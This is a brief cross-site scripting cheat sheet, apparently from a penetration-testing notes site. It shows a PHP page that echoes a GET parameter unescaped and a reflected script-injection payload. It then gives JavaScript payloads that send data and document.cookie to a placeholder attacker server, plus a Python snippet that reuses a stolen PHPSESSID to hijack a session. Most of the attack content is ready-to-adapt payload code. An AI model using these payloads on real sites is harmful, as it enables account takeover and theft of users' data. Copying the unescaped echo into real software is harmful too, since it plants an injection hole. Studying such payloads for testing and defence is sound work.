XSS

Cross-Site Scripting (XSS)

Reflected

Vulnerable code

<?php
        echo '<div><p>Searched string: ' . $_GET['search'] . '</p></div>';
?>

The injection

http(s)://HOST/file.php?search=1

Response

<div><p>Searched string: 1</p></div>

http(s)://HOST/file.php?search=</p><script>alert()</script><p>

Response

<div><p>Searched string: </p><script>alert()</script><p></p></div>

As you can see, the injected code gets inserted into the HTML response of the website.

</p> -> Closing current tag. <script> -> Opening javascript tag. alert() -> Function to pop an alert box. </script> -> Closing javascript tag. <p> -> Reopening p tag for the response not to mess up.

Stored

In this injection, the code gets stored into a database (e.g. as a comment, name, description, etc) and then gets reflected when it is displayed.

Data exfiltration

To exfiltrate data, a receiving server would be needed, like a HTPP server.

Exfiltrating basic data

<html>
<script>

first = new XMLHttpRequest();
first.open("POST", "YOUR-SERVER");
first.send("EXFILTRATED-DATA");

</script>
</html>

Exfiltrating other endpoint's data

<html>
<script>

first = new XMLHttpRequest();
first.open("GET", "TARGET-SERVER");
first.onreadystatechange = function () {
        if (first.readyState === XMLHttpRequest.DONE) {
                second = new XMLHttpRequest();
                second.open("POST", "YOUR-SERVER");
                second.send("EXFILTRATED-DATA");
        }
}
first.send();

</script>
</html>

Session Hijaking

In a nuthshell, stealing the (administrator|authenticated user) sesion cookie's value and using it.

<html>
<script>

first = new XMLHttpRequest();
first.open("POST", "YOUR-SERVER");
first.send(document.cookie);

</script>
</html>

import requests

url = ""
exfiltrated_cookie = ""
cookies = {'PHPSESSID': f"{exfiltrated_cookie}"} # Example

r = requests.get(url, cookies=cookies)

Filter Bypass

https://owasp.org/www-community/xss-filter-evasion-cheatsheetowasp.org

https://itasahobby.gitlab.io/posts/trustedclient/itasahobby.gitlab.io

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Last updated 5 years ago

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Reflected

Vulnerable code

The injection

Response

Response

Stored

Data exfiltration

Exfiltrating basic data

Exfiltrating other endpoint's data

Session Hijaking

Exfiltrating the cookie

Using the cookie

Filter Bypass